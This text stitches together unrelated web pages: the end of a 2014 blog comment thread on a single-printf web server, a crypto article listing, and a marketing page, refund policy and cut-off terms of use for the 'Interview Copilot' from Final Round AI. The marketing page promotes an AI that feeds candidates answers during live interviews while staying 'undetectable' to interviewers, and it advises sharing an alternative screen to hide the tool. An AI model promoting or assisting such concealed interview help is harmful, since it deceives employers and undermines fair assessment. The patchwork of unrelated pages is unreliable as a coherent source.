says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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Right menu Where Long-Term Trust Comes From: the Reflection of Kapbe on the Capacity of a System to Carry Time czof pbni czof pbni czof pbni Follow Jan 5 Where Long-Term Trust Comes From: the Reflection of Kapbe on the Capacity of a System to Carry Time # discuss # blockchain # web3 Comments Add Comment 3 min read Kapbe Interprets 2025 Crypto Employment Data: Why Risk Continues to Be Pushed Down to Individuals czof pbni czof pbni czof pbni Follow Dec 31 '25 Kapbe Interprets 2025 Crypto Employment Data: Why Risk Continues to Be Pushed Down to Individuals # crypto # web3 Comments Add Comment 3 min read ParaSwap Trading Guide: Best Settings After Recent Updates no account no account no account Follow Dec 29 '25 ParaSwap Trading Guide: Best Settings After Recent Updates # crypto # tutorial # web3 Comments Add Comment 5 min read Institutional DeFi Is Getting Serious: SemiLiquid & Custody-Native Credit Infrastructure Aditya Singh Aditya Singh Aditya Singh Follow Dec 25 '25 Institutional DeFi Is Getting Serious: SemiLiquid & Custody-Native Credit Infrastructure # blockchain # crypto # web3 1 reaction Comments 2 comments 2 min read Kapbe Redefines Vaults: Why Systems Inevitably Destabilise When Yield Becomes the Only Metric? czof pbni czof pbni czof pbni Follow Dec 23 '25 Kapbe Redefines Vaults: Why Systems Inevitably Destabilise When Yield Becomes the Only Metric? # crypto # security # web3 Comments Add Comment 3 min read VIP Programs for Beginners: Are They Really Worth It When You're Just Starting Out? 🤔 Emir Taner Emir Taner Emir Taner Follow Dec 10 '25 VIP Programs for Beginners: Are They Really Worth It When You're Just Starting Out? 🤔 # beginners # webdev # web3 # tutorial 2 reactions Comments Add Comment 2 min read Why I Left Large Mining Pools for Smaller Ones - And The Unexpected Results Emir Taner Emir Taner Emir Taner Follow Dec 9 '25 Why I Left Large Mining Pools for Smaller Ones - And The Unexpected Results # webdev # web3 # programming # opensource 2 reactions Comments Add Comment 2 min read 🔧 Developer Breakdown: How Consumer Apps Are Quietly Going On-Chain Freecodingboss Freecodingboss Freecodingboss Follow Dec 4 '25 🔧 Developer Breakdown: How Consumer Apps Are Quietly Going On-Chain # onchainanalysis # blockchain # web3 # crypto Comments Add Comment 3 min read Account Abstraction (AA) Is Finally Going Mainstream: What It Really Means Freecodingboss Freecodingboss Freecodingboss Follow Dec 4 '25 Account Abstraction (AA) Is Finally Going Mainstream: What It Really Means # blockchain # crypto # web3 # beginners Comments Add Comment 2 min read AI x Blockchain = The New Power Couple Freecodingboss Freecodingboss Freecodingboss Follow Dec 4 '25 AI x Blockchain = The New Power Couple # blockchain # crypto # web3 # beginners Comments Add Comment 3 min read Trader Feedback as a Market Signal: Beyond Noise Philip Laurens Philip Laurens Philip Laurens Follow Dec 16 '25 Trader Feedback as a Market Signal: Beyond Noise # cryptocurrency # blockchain # web3 1 reaction Comments Add Comment 1 min read Mitigating post-airdrop fud practical guide for Web3 teams Wevolv3 Wevolv3 Wevolv3 Follow Dec 2 '25 Mitigating post-airdrop fud practical guide for Web3 teams # management # cryptocurrency # community # web3 Comments Add Comment 6 min read South Africa vs Nigeria vs Kenya: The Battle to Become Africa's Crypto Capital Jude⚜ Jude⚜ Jude⚜ Follow Dec 3 '25 South Africa vs Nigeria vs Kenya: The Battle to Become Africa's Crypto Capital # web3 # blockchain # cryptocurrency # security 8 reactions Comments 2 comments 13 min read The Billion-Dollar Launchpad Consolidation: Why Exchanges Are Acquiring Infrastructure, Not Hype Rohan Kumar Rohan Kumar Rohan Kumar Follow Nov 30 '25 The Billion-Dollar Launchpad Consolidation: Why Exchanges Are Acquiring Infrastructure, Not Hype # crypto # web3 Comments Add Comment 9 min read Mantle x Bybit: The Liquidity Engine Powering the Next Wave of RWA Adoption Rohan Kumar Rohan Kumar Rohan Kumar Follow Nov 30 '25 Mantle x Bybit: The Liquidity Engine Powering the Next Wave of RWA Adoption # ethereum # crypto # web3 # blockchain Comments Add Comment 16 min read How to Evaluate Smart Device + Token Projects: A Checklist for Crypto Investors & Builders Asher Asher Asher Follow Dec 1 '25 How to Evaluate Smart Device + Token Projects: A Checklist for Crypto Investors & Builders # blockchain # crypto # web3 # security Comments Add Comment 2 min read Issue #3: Blockchain Real-world applications. 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Kapbe Interprets 2025 Crypto Employment Data: Why Risk Continues to Be Pushed Down to Individuals Where Long-Term Trust Comes From: the Reflection of Kapbe on the Capacity of a System to Carry Time Learning from History: What Other Token Ecosystems Teach Us About Pump.fun's Future From Wall Street to Blockchain: Why S&P Indices Matter for Crypto Traders How Tokenization is Making Real-World Assets More Accessible Africa’s tokenization opportunity: Building markets before they mature. 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https://www.finalroundai.com/interview-copilot | Interview Copilot – Get Real-Time Interview Help with AI Get Started Loading... Interview Copilot Pricing Ace Any Interview With Interview Copilot Our Interview Copilot works silently in the background during your live interviews. When the interviewer asks a question, you get instant, tailored responses pulled from your resume, past experience, and the job description. It's like having an expert coach whispering perfect answers, completely invisible to interviewers. Get started for free Coding Interview Product Management Consulting Marketing Finance Designed for developers, Interview Copilot helps you tackle algorithm, system design, and coding challenges with real-time hints and AI-powered feedback so you solve problems faster and smarter. Trusted by 500,000+ professionals landing roles at Interview Anxiety? Meet Your AI Interview Copilot You're not alone. About 93% of job seekers feel anxious before or during interviews. When your mind goes blank or your words stumble, Interview Copilot keeps you calm with real-time, personalized AI support. It listens, understands, and helps you stay composed when it matters most. Don't let nerves take control. Let the Interview Copilot guide you through every question with confidence. Try Interview Copilot Real-time support To keep you focused and calm Tailored guidance For behavioral, technical, and role-specific questions Instant feedback To refine responses on the spot Confidence-boosting suggestions Based on resumes and job descriptions Whether you're getting ready for your first job or your next big leap, Interview Copilot helps you enter interviews with a focused and confident mind. How Interview Copilot Works Interview Copilot uses AI to support you in real time - offering discreet, personalized tips that improve performance without distraction. Here's how it makes the interview process easier: Try Interview Copilot Stealth Mode Interview Copilot runs silently in the background, so interviewers never know it's there. It stays completely invisible during video calls and doesn't appear in screen shares, ensuring real-time support without disruption or detection. Multi-Platform Compatibility Interview Copilot works seamlessly across major virtual meeting platforms - including HireVue, Zoom, Google Meet, Microsoft Teams, LeetCode and more. No matter where interviews take place, the AI copilot is built to provide support without interruption. Live, Real-Time Interview Feedback Interview Copilot listens during live interviews and offers discreet, real-time suggestions tailored to each question. Whether you're rambling, freezing, or losing your train of thought, it helps you course-correct instantly. With smart, context-aware tips delivered as you speak, you'll stay calm, confident, and in control - no second-guessing, no awkward pauses, just better answers in the moment. Device Flexibility Use Interview Copilot on desktop or mobile. Whether interviewing from home offices or on the go, the experience is fully optimized to work smoothly on any preferred device. Instant Question Identification The AI interview assistant quickly spots questions and suggests responses that align with your role. It keeps answers focused and relevant, so you sound polished and professional with every reply. This real-time support ensures you never miss the mark, helping you stay composed, deliver high-impact responses, and impress recruiters from the first question to the final round. Performance Analytics Once interviews end, access live AI-generated transcripts to review responses, and explore in-depth performance analytics with feedback-based reports. Identify what went well, uncover areas for improvement, and gain clear, actionable steps - so you walk into next interviews more confident and prepared than ever. Copilot for Coding Interviews Tackle technical interviews with confidence. The AI coding interview assistant provides live code feedback, logic support, and error detection for languages like Python, Java, and C++. Whether you're whiteboarding or live coding, Interview Copilot keeps you clear, accurate, and on track - helping software engineers solve problems and present skills with precision in real interview settings. Language and Accent Support Supports 91 languages and regional accents, helping candidates worldwide succeed. Whether interviewing in native languages or second languages, Interview Copilot adapts to speech in real-time. This ensures clear, confident communication and lets qualifications shine, no matter where you are or how you speak. Resume-Based Answer Optimization Upload resumes, and the AI copilot provides answers based on skills and experience. This AI interview assistant matches job requirements and creates strong responses that highlight relevant background. It helps candidates become top contenders by showcasing what sets them apart. Train the AI Interview Copilot for Maximum Accuracy Upload resumes, job descriptions, and Q&A examples to give Interview Copilot everything it needs to tailor responses. The more context provided, the more relevant and job-specific interview guidance becomes, making answers sharper, clearer, and more compelling. Always Prepared Why use Final Round AI's coding interview copilot? Coding Interview Copilot works seamlessly across your favorite technical interview platforms — including Zoom, HackerRank, CodeSignal, CoderPad, Amazon Chime, and Microsoft Teams — giving you invisible, real-time help exactly when you need it. Expand All Zoom Undetectable Last verified: December 2024 Google Meet Undetectable Last verified: December 2024 Microsoft Teams Undetectable Last verified: December 2024 CoderPad Undetectable Last verified: December 2024 HackerRank Undetectable Last verified: December 2024 CodeSignal Undetectable Last verified: December 2024 Amazon Chime Undetectable Last verified: December 2024 Support All Meeting Softwares Use it Live. Stay in Control. Most interview tools stop at practice. Interview Copilot goes further. Try Interview Copilot Now - It's Free Use it live even during high-stakes interviews Live AI answer suggestions based on question context Undetectable on screen share completely discreet Whether it's a behavioral Zoom interview or a technical screen, this AI interview bot helps you perform with poise and precision. No coaching required. Just answer with AI in real time. Get Started Free AI Interview Help for Engineers, Graduates, and Freelancers Unlock smarter interview preparation with seamless AI integrations—personalized for your career path. Final Round AI Engineering & Tech Final Round AI Banking & Finance Final Round AI Freelancers & Contractors Final Round AI Freelancers & Contractors Whether you're interviewing in marketing, consulting, finance, or healthcare, Interview Copilot adapts to your industry. Its advanced interview AI helps tailor your responses and guide you in real time, so you can perform with confidence. I'm Ready to Interview Smarter Trustpilot Don't just take our word for it Interview Copilot isn't just a tool - it's a turning point for job seekers across industries. Whether you're navigating your first job, switching careers, or preparing for technical interviews, real users are landing real offers with AI-powered support. With real-time feedback, job-specific insights, and support during the moments that matter most, Interview Copilot is changing the interview process for job seekers everywhere. I used the AI coding interview assistant during my technical interviews, and it gave me the boost I needed. I landed a software engineering role at a Fortune 500 company. Kasun de Costa Full-Stack Developer After five rejections, I finally felt confident walking into a Zoom interview. The interview ai copilot helped me think clearly and sound confident, even on curveball questions. shyam sudhakar MBA Grad I had two back-to-back interviews for front-end roles. Copilot's live code feedback helped me think on my feet, catch errors, and finish on time. I'm now with a top tech startup. Sunil Parihar Software Engineer Final Round AI Vs Traditional Tools Final Round AI's offers a seamless AI interview helper that assists you during live effectively. With the live AI assistant, you receive instant feedback and custom guidance. Unlike traditional tools, this one offers real-time support, integrated coding help, and personalized insights. Upgrade to Interview Copilot Today - Its Free Get Interview Copilot Free Traditional Tools Final Round AI Real-Time Interview Feedback Delayed or post-interview only Real-Time Interview Feedback Yes - delivered live during interviews to refine answers instantly Behavioral + Technical Interview Support Delayed or post-interview only Behavioral + Technical Interview Support Covers both soft skills and technical questions Live Coding Interview Assistant Usually requires separate tool Live Coding Interview Assistant Built-in support for Python, Java, C++, and more Custom Guidance Based on Resume Generic prompts, no resume integration Custom Guidance Based on Resume Personalized answers pulled from your resume & job description Mock Interviews + Practice Tools Basic practice, no smart feedback Mock Interviews + Practice Tools Includes question banks, mock interviews, and prep guides Instant Question Recognition No real-time context awareness Instant Question Recognition AI instantly identifies question type and suggests structured responses Mock Interviews + Practice Tools Some tools show up in screen shares Mock Interviews + Practice Tools Undetectable by interviewers on Zoom, Teams, Meet, etc. Interview Analytics + Performance Reports Often missing or very limited Interview Analytics + Performance Reports Actionable post-interview reports with feedback-based insights Multilingual & Accent Support English-focused only Multilingual & Accent Support Built for global job seekers Frequently Asked Questions Still curious? Reach out anytime at hi@finalroundai.com Launch Your Interview Copilot Now What is an Interview Copilot? An Interview Copilot is an AI-powered assistant designed to help you during interview preparation, and even during live interviews. Final Round AI's Interview Copilot gives you real-time support with sample answers, talking points, tone feedback, and structure tips while you speak. It's like having a smart, silent coach by your side. Who should buy an Interview Copilot? It's ideal for: Freshers nervous about interviews, Professionals switching industries, Anyone preparing for competitive roles (like tech, product, consulting), People struggling with clear, confident communication. If you've ever walked out of an interview thinking, 'I should've said that better,' this tool is made for you. How to use Final Round AI Interview Copilot? It's super simple: Log in to Final Round AI, Choose the Interview Copilot feature, Select your job role or upload a job description, Start your mock interview session or open it in the background during a live call. The Copilot listens (only if you allow), and gives subtle prompts, feedback, and suggestions to help you speak more confidently and clearly. How to use a Сopilot during an interview? If you're in a real interview (virtual/remote), you can have the Interview Copilot open in a separate window. It shows real-time guidance without making any noise or interrupting your flow. Just make sure your screen is positioned to let you glance naturally, like checking notes, but smarter. Is final round AI detectable during Interviews? Nope, with its newly stealth mode feature Final Round AI Interview Copilot is not detectable by the interviewer. It runs quietly in the background like a digital sticky note or teleprompter. It doesn't speak, type, or interfere with your screen share or camera. It's 100% safe and discreet for virtual interviews. Can I use Interview Copilot for phone interview? Yes. Just open Interview Copilot on your computer, put the phone call on speaker (or use a headset with your laptop's mic), and let the AI listen in. Copilot will pick up the interviewer's questions and your responses, then show real-time prompts and feedback on-screen, no screen-share required and completely undetectable to the person on the other end of the call. Is the interview CoPilot free? We offer a free 10-minute trial so you can test the Interview Co-Pilot and experience its real-time AI assistance. However, to use the tool for a full interview session or integrate it into your preparation process, you'll need to subscribe to the premium plan. Will this be compatible with Zoom, Teams, Google Meet, and other meeting apps? Yes, the Interview Copilot is designed to be compatible with popular video conferencing platforms like Zoom, Microsoft Teams, Google Meet, and more. It integrates seamlessly to support you in interviews across different apps. What programming languages are supported? Python, Golang, C#, Rust, R, SQL, Ruby, Java, Javascript, C++, Kotlin, and Swift. You can edit your preferred language in the app or in your settings. How can I customize the AI's responses? You can customize the AI's responses by uploading your resume and the job description for the position you're applying for. The AI will then tailor its answers to fit the specific requirements of that role, helping you respond accurately to questions relevant to the job. Does the Interview Co-Pilot work with live coding platforms? Yes! It is compatible with popular live coding interview platforms, including CodeSignal, LeetCode, HackerRank, CoderPad, and more. What should I do if the interviewer asks me to share my screen? If asked to share your screen, you can share an alternative tab, screen, or monitor. This will allow you to confidently share your screen without revealing the tool. Alternatively, you can use the stealth mode, which is available in Pro and God Mode plans, making Interview Copilot completely undetectable. 100k+ reviews Land Your Dream Job with Final Round AI Today Transform your interview skills with Final Round AI's AI interview practice. Start now and land your dream job with confidence. You've done the prep—now it's time to practice smarter. Get started for Free Company About Contact Us Referral Program More Products Interview Copilot AI Mock Interview AI Resume Builder More AI Tools Coding Interview Copilot AI Career Coach Resume Checker More Resources Blog Hirevue Interviews Phone Interviews More Refund Policy Privacy Policy Terms & Conditions Disclaimer: This platform provides guidance, resources, and support to enhance your job search. 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https://www.finalroundai.com/refund-policy | Final Round AI | Customer Refund & Satisfaction Policy Get Started Loading... Refund Policy Pricing Customer Refund and Satisfaction Policy Effective Date: October 5th, 2025 Last Updated: October 5th, 2025 1. Purpose This Customer Refund and Satisfaction Policy ("Policy") outlines the terms and conditions under which customers ("you," "your," or "User") may request refunds, exercise satisfaction guarantees, and use Final Round AI products and services ("the Service"). By purchasing or subscribing to any plan offered by Final Round AI Inc. ("Final Round AI," "we," "our," or "us"), you agree to comply with this Policy, our Terms of Service, and Privacy Policy. This Policy is designed to balance our commitment to customer satisfaction with our responsibility to maintain the integrity, fairness, and sustainability of our business. 2. Our Commitment to Your Success At Final Round AI, our mission is to help every user achieve real, measurable career outcomes — from landing interviews to securing dream job offers. We take pride in our products and stand behind their quality and results. Our guiding principle is simple: If you're not satisfied, we'll make it right — within reason and fairness. To that end, we offer: A 3-Day Money-Back Guarantee on all first-time purchases, and An Extended Customer Success Commitment for Pro and God Mode plan subscribers. 3. 3-Day Money-Back Guarantee We provide a 3-day money-back guarantee for all new customers on their first subscription purchase. Eligibility: Refund requests must be made within 72 hours (3 days) of the original purchase date. Your account must show reasonable and limited usage (for example, not exceeding more than one full mock interview, multiple resume exports, or extensive AI content generation). Refunds are limited to your first subscription purchase per account. Subsequent renewals or plan upgrades are non-refundable. How to Request a Refund: Send an email to support@finalroundai.com with your order details and the reason for your request. Refunds are typically processed within 5–7 business days to your original payment method. Non-Refundable Circumstances: Requests made after the 3-day window. Accounts showing substantial usage or feature consumption. Duplicate refund requests from multiple accounts. Accounts flagged for abuse, sharing, or violation of our Terms of Service. 4. Extended Customer Success Commitment (Pro and God Mode Plans) We don't measure our success by signups — we measure it by your results. If you are subscribed to our Pro or God Mode plan, we commit to renewing your plan monthly until you: Land a job, or Are fully satisfied with your experience, whichever occurs first. This renewal continues under your active subscription plan and reflects our long-term investment in your success. Terms of the Commitment: Renewals occur automatically each billing cycle at your current plan rate. You may cancel anytime if you are satisfied or have achieved your job goal. Our team may proactively reach out to ensure you're maximizing the product's value. This commitment applies exclusively to individual Pro and God Mode subscriptions and may not be transferred or shared. 5. Fair Use and Anti-Misuse Policy To protect our business and our community of legitimate users, Final Round AI enforces a strict Fair Use and Anti-Misuse Policy. You agree to use the Service solely for personal and lawful purposes. Final Round AI reserves the right to suspend, terminate, or restrict any account without prior notice if misuse, fraud, or abuse is suspected. Prohibited Conduct Includes (but is not limited to): Sharing login credentials or account access with others. Using a single subscription for multiple individuals, teams, or companies. Reproducing, copying, reselling, or distributing Final Round AI content, outputs, or materials. Using automated scripts, bots, or external scraping tools to exploit product functionality. Abusing refund policies through repeated or dishonest claims. Violating our Terms of Service or Privacy Policy in any way. Consequences of Misuse: If such conduct is detected, Final Round AI may, at its sole discretion: Suspend or permanently terminate your account; Forfeit any active refund or satisfaction guarantee eligibility; and Prohibit future access to any Final Round AI products or services. No refunds or credits will be issued in cases of confirmed misuse. 6. Refund Review Process All refund requests undergo internal review to ensure compliance with this Policy. During review, we may request additional details (e.g., usage data or transaction confirmation). Refunds are considered a good-faith gesture to genuine customers, not a recurring entitlement. Final Round AI reserves the right to deny refunds that appear fraudulent, repetitive, or inconsistent with typical customer usage. 7. Customer Success Support Before seeking a refund, we encourage all users to reach out to our Customer Success Team for assistance. Our mission is to help you succeed, not to process refunds. We may offer: Personalized walkthroughs of product features, Interview preparation guidance, or Extended access or credit solutions when appropriate. 📩 Email: support@finalroundai.com 🕒 Response Time: 24–48 business hours. 8. Limitation of Liability To the fullest extent permitted by law, Final Round AI's total liability for any claim arising from or related to this Policy shall not exceed the amount paid by you for the subscription during the most recent billing period. Under no circumstances shall Final Round AI be liable for indirect, incidental, or consequential damages, including but not limited to loss of employment opportunity, data, or business profits, arising from the use or inability to use the Service. 9. Modifications to This Policy Final Round AI reserves the right to modify, amend, or update this Policy at any time without prior notice. All updates will be posted on this page with a revised "Last Updated" date. Continued use of the Service after updates constitutes acceptance of the revised terms. 10. Governing Law This Policy and any disputes arising from it are governed by and construed in accordance with the laws of the State of Delaware, United States of America, without regard to its conflict of law provisions. All claims, legal proceedings, or disputes arising from or related to this Policy will be brought exclusively in the state or federal courts located in Delaware, USA, and you consent to the jurisdiction of such courts. 11. Contact Us For questions, feedback, or refund requests, please contact: 📧 Email: support@finalroundai.com 📍 Final Round AI Inc. 188 King St, Suite 402, San Francisco, CA 94107, United States Company About Contact Us Referral Program More Products Interview Copilot AI Mock Interview AI Resume Builder More AI Tools Coding Interview Copilot AI Career Coach Resume Checker More Resources Blog Hirevue Interviews Phone Interviews More Refund Policy Privacy Policy Terms & Conditions Disclaimer: This platform provides guidance, resources, and support to enhance your job search. However, securing employment within 30 days depends on various factors beyond our control, including market conditions, individual effort, and employer decisions. We do not guarantee job placement within any specific timeframe. © 2025 Final Round AI, 188 King St, Unit 402 San Francisco, CA, 94107 | 2026-01-13T08:47:54 |
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https://www.finalroundai.com/terms-of-use | Terms of Use: Understanding Website Terms, User Agreements, and Compliance Guidelines | Final Round AI Get Started Loading... Terms Of Use Pricing Terms of Use Last updated: April 1, 2024 These Terms of Use ("Terms") describe your rights and obligations while using the Final Round AI website, software, services, and other offerings (collectively, "Services"). These Terms, together with our Privacy Policy constitute an agreement between the user ("you") and Pump Labs Inc., dba Final Round AI ("we," "us," "our,"), 1.Acceptance of Terms By accessing or using our Services, you have read, understand, and agree to be bound by these Terms. IF YOU DO NOT AGREE TO THESE TERMS, YOU MAY NOT ACCESS OR USE OUR SERVICES. We may, in our sole discretion, revise the Terms from time to time with the new terms taking effect when posted on this page, By continuing to use our Services after the changes become effective, you agree to be bound by the revised Terms. 2.Privacy How we collect, use, and disclose information, including personal information, that you provide to us via the Services is described in our Privacy Policy found at: https://www.finalroundai.com/privacy 3.User Account Registration You do not need to create an account (“User Account”) to access the Services; however, we may, from time to time, restrict access to certain features, parts, or content of the Services, or the entire Service to only those users who have created a User Account. You agree to provide accurate, current, and complete information during the registration process. If you create a User Account you are entirely responsible for the security and confidentiality of that account, including your password to access the User Account. Furthermore, you are entirely responsible for any and all activities that occur under your User Account You agree to immediately notify us of any unauthorized use of your User Account or any other breach of your User Account's security of which you become aware. You are responsible for taking precautions and providing security measures best suited for your situation and intended use of the Services. By creating a User Account, you agree to receive service-related electronic communications from us. You agree that any notices, agreements, disclosures or other communications that we send to you electronically will satisfy any legal communication requirements, including, but not limited to, that such communications be in writing. You may opt-out of receiving promotional emails that you have previously opted-in to at any time by following the instructions to unsubscribe, as provided therein. 4.Use of Services You agree to use our Services only for purposes that are permitted by these Terms and any applicable law, regulation, or generally accepted practices or guidelines in the relevant jurisdictions. You agree you will not engage or attempt to engage in any improper uses of the Services, including, but not limited to: (i) violating any applicable federal, state, local, or international law or regulation (including, without limitation, any laws regarding the export of data or software to and from the US or other countries); (ii) storing the Services (including pages of the Service) on a server or other storage device connected to a network or creating a database by systematically downloading and storing any data from the Services (other than for page caching); (iii) removing or changing any content of the Services or attempting to circumvent the security or interfere with the proper working of the Services or any servers on which it is hosted; (iv) creating links to the Services from any other website without our prior written consent; (v) using any robot, data mining, screen scraping, spider, website search/retrieval application, or other manual or automatic device or process to retrieve, index, “data mine”, or in any way reproduce or circumvent the navigational structure or presentation of the Services or their contents; (vi) posting, distributing, or reproducing in any way any copyrighted material, trademarks, or other proprietary information without obtaining the prior written consent of the owner of such proprietary rights; (vii) interfering with or disrupting the Services or the servers or networks connected to the Services; and (viii) modifying, copying, reproducing, duplicating, adapting, sublicensing, translating, selling, reverse engineering, deciphering, decompiling, or otherwise disassembling any portion of the Services or any software used on or for the Services or causing others to do so. 5.Suspension and Termination of Access to the Services We may, at I our option and in our sole discretion, suspend, restrict or terminate your access to the Services if: (i) we are so required by a facially valid subpoena, court order or binding order of any government authority; (ii) we reasonably suspect you of using the Services in connection with any prohibited uses stated in Section 4 of these Terms; (iii) your use of the Services is subject to any pending litigation, investigation or government proceeding and/or we, in our sole discretion, perceive a heightened risk of legal or regulatory non-compliance associated with your activity; (iv) any of our service partners are unable to support your use thereof; (v) you take any action that we deems in our sole discretion as circumventing our controls and/or safeguards; or (vi) you breach these Terms. If we suspends or terminate your use of the Services for any reason, we will provide you with notice of our actions, unless a court order or other legal process prevents or prohibits us from providing you with such notice. You acknowledge that our decision to take certain actions, including limiting access to or suspending your access to the Services, may be based on confidential criteria that are essential to our risk management and/or security protocols. You agree that we are under no obligation to disclose the details of our risk management and/or security procedures to you. 6.Intellectual Property All photos, videos, images, and text on the Services, together with the design and layout of the Services (“Content”) are copyrighted and may not be used without our written permission. All intellectual property rights in the Services and in any Content of the Services (including, but not limited to, text, graphics, design, layout, software, photographs, and other images, videos, sound, trademarks, and logos) are owned by us or our licensors. Except as expressly set forth herein, nothing in the Terms gives you any rights in respect of any intellectual property owned by us or our licensors and you acknowledge that you do not acquire any ownership rights by downloading or using the Services. The Services and its Content, features, and functionality are and will remain the exclusive property of Final Round AI. Our Services are protected by copyright, trademark, and other laws of both the United States and foreign countries. These Terms grant you a limited and non-exclusive right to use the Services. Except as indicated otherwise herein or in any additional terms or conditions, you may not reproduce, distribute, modify, create derivative works of, publicly display, publicly perform, republish, download, store, transmit or otherwise exploit any of the Content on our Services. You are expressly prohibited from: (i) modifying or making copies of any Content from the Services; (ii) using any illustrations, photographs, video or audio sequences or any graphics available through the Services separately from the accompanying text; (iii) deleting or altering any copyright, trademark, or other proprietary rights notices from copies of materials available through the Services; and (iv) uploading Content to the Services which violates the intellectual property rights of others. Anything you send to us through the Services, email, or other means may be used by us for any purpose. By submitting material to us through the Services, email, or other means, you irrevocably transfer and assign to Final Round AI, and forever waive, and agree never to assert, any copyrights or other rights that you may have in such material. We are free to use, without obligation of any kind, any ideas, concepts, techniques, or know-how contained in any communication you send to us or to the Services for any purpose whatsoever. This paragraph shall not apply to your personal information, which is defined in and governed by the Privacy Policy. 7.Subscriptions Your subscription to the Services will continue and renew automatically until terminated. To use the Services you must have internet access and supported meeting software and provide us with one or more Payment Methods. "Payment Method" means a current, valid, accepted method of payment, as may be updated from time to time. You must cancel your subscription before it renews in order to avoid billing of the subscription fees for the next billing cycle to your Payment Method. All subscriptions to our Services, including renewals, are non-refundable. Once a subscription fee has been paid, no refunds will be provided, regardless of the reason for cancellation or termination. By purchasing a subscription, you acknowledge and agree to this non-refundability policy. We may change our subscription plans and the price of our Services from time to time. We will notify you at least one month before any price changes will become effective. If you do not wish to accept the price change to your subscription, you can cancel your subscription before the change takes effect. 8.Limitation of Liability In No Event Will We Be Liable For Any Indirect, Consequential, Special, Incidental, Indirect, Or Punitive Damages (Including, But Not Limited To, Damages For Loss Of Profits Or Confidential Or Other Information, For Business Interruption, For Personal Injury, For Loss Of Privacy, For Failure To Meet Any Duty Including Of Good Faith Or Of Reasonable Care, For Negligence, Or For Any Other Pecuniary Or Other Loss Whatsoever Arising Out Of, Based On, Resulting, Or In Any Way Related To These Terms, Your Use Of The Services (Including Any Information Or Content Contained Therein), Or Your Inability To Access Or Use The Services Even If We Have Been Advised Of The Possibility Of Such Damages. 9.Indemnity To the fullest extent permitted by applicable law, you agree to indemnify, defend and hold harmless Final Round AI, and our respective past, present and future employees, officers, directors, contractors, consultants, equity holders, suppliers, vendors, service providers, parent companies, subsidiaries, affiliates, agents, representatives, predecessors, successors and assigns (individually and collectively, the “Final Round AI Parties”), from and against all actual or alleged claims, damages, awards, judgments, losses, liabilities of every kind and nature whatsoever, whether known or unknown, that are caused by, arise out of or are related to your use or misuse of the Services. your violation of these Terms, and/or. your violation of any right(s) of any third party. You agree to promptly notify us of any claim(s) and shall cooperate fully with Final Round AI Parties in defending such claims. You further agree that Final Round AI Parties shall have control of the defense or settlement of any third-party claims. Information about your computer and internet connection, including, but not limited to, the type of device you use, the IP address of your device, your operating system, the type of Internet browser you use, unique device identifiers and other diagnostic data. Information about your computer and internet connection, including, but not limited to, the type of device you use, the IP address of your device, your operating system, the type of Internet browser you use, unique device identifiers and other diagnostic data. 10.Early Stage Service Please Be Aware That Our Services Are In The Early Stages Of Development. As Such, They May Be Subject To Stability Issues And Intermittent Downtime. We Are Continuously Working To Improve The Stability And Functionality Of Our Services, But We Cannot Guarantee Uninterrupted Service. The Services And All Content Therein Are Provided On An “As Is,” “With All Faults,” And “As Available” Basis And The Entire Risk As To Satisfactory Quality, Performance, Accuracy, And Effort Is With You. To The Maximum Extent Permitted By Applicable Law, We Make No Representations, Warranties, Or Conditions, Express Or Implied. We Expressly Disclaim All Warranties And Conditions, Express, Statutory, And Implied, Including, But Not Limited To, Warranties Or Conditions (A) Of Merchantability, Fitness For A Particular Purpose, Workmanlike Effort, Title, Quiet Enjoyment, And Non-Infringement; (B) Of Adequacy, Accuracy, Timeliness, And Completeness Of The Services, Information, Content, Or Results; (C) Arising Through Course Of Dealing Or Usage Of Trade, And (D) Of Security, Uninterrupted, Or Error-Free Access Or Use Of The Services. The Services And All 11.Dispute Resolution a.Governing Law and Jurisdiction These Terms shall be governed by the laws of the State of Delaware, USA. You agree to submit to the personal jurisdiction of the federal and state courts located in the State of Delaware for any actions for which we retain the right to seek injunctive or other equitable relief. b.Notice of Dispute If you have a potential legal dispute, claim or cause of action against us, you must first (prior to initiating any proceedings) contact us by sending an email to hi@finalroundai.com describing the nature of the potential dispute, claim or cause of action and providing all relevant documentation and evidence thereof. If we elect to do so, you agree to use commercially reasonable efforts to negotiate a settlement of any such legal dispute, claim or cause of action within 60 days of the delivery of such email. Any such dispute, claim or cause of action that is not finally resolved by a binding, written settlement agreement within such 60 days shall be brought and resolved exclusively in accordance with the following provisions of this Section 11. c.Mandatory Binding Arbitration All claims, disputes and controversies directly or indirectly arising out of or in connection with or directly or indirectly relating to these Terms or any of the matters or transactions contemplated by these Terms (for the avoidance of doubt, including any claim seeking to invalidate, or alleging that, all or any part of these Terms is unenforceable, void or voidable) (such claims, disputes and controversies, collectively, “ Disputes”) shall be resolved by confidential, binding arbitration to be seated in the State of Delaware by a single arbitrator pursuant to the Commercial Arbitration Rules of the American Arbitration Association (the “ Rules ”). The arbitrator shall be appointed in accordance with the procedures set out in the Rules. The award or decision of the arbitrator shall be final and binding upon the parties and the parties expressly waive any right under the laws of any jurisdiction to appeal or otherwise challenge the award, ruling or decision of the arbitrator. The judgment of any award or decision may be entered in any court having competent jurisdiction to the extent necessary. If any party elects to have a Dispute resolved by arbitration pursuant to this provision, no party hereto shall (or shall permit its representatives to) commence, continue or pursue any Dispute in any court; provided, however, that we will be entitled to obtain an injunction or injunctions to prevent breaches of this provision and to enforce specifically the terms and provisions thereof, this being in addition to any other remedy to which we are entitled at law or in equity, and the parties hereto hereby waive the requirement of any posting of a bond in connection with such injunctive relief or specific performance. d.Waiver of Jury Trial The parties hereby acknowledge, represent and warrant that they understand that: (i) there is no judge or jury in arbitration, and, absent this mandatory provision, the parties would have the right to sue in court and have a jury trial concerning Disputes; (ii) in some instances, the costs of arbitration could exceed the costs of litigation; (iii) the right to discovery may be more limited in arbitration than in court; and (iv) court review of an arbitration award is limited. Each of the parties hereto hereby irrevocably waives any and all right to trial by jury in any action, suit or other legal proceeding arising out of or related to these Terms or the transactions contemplated hereby. e.Confidentiality of Arbitration Except to the extent necessary to enforce their respective rights 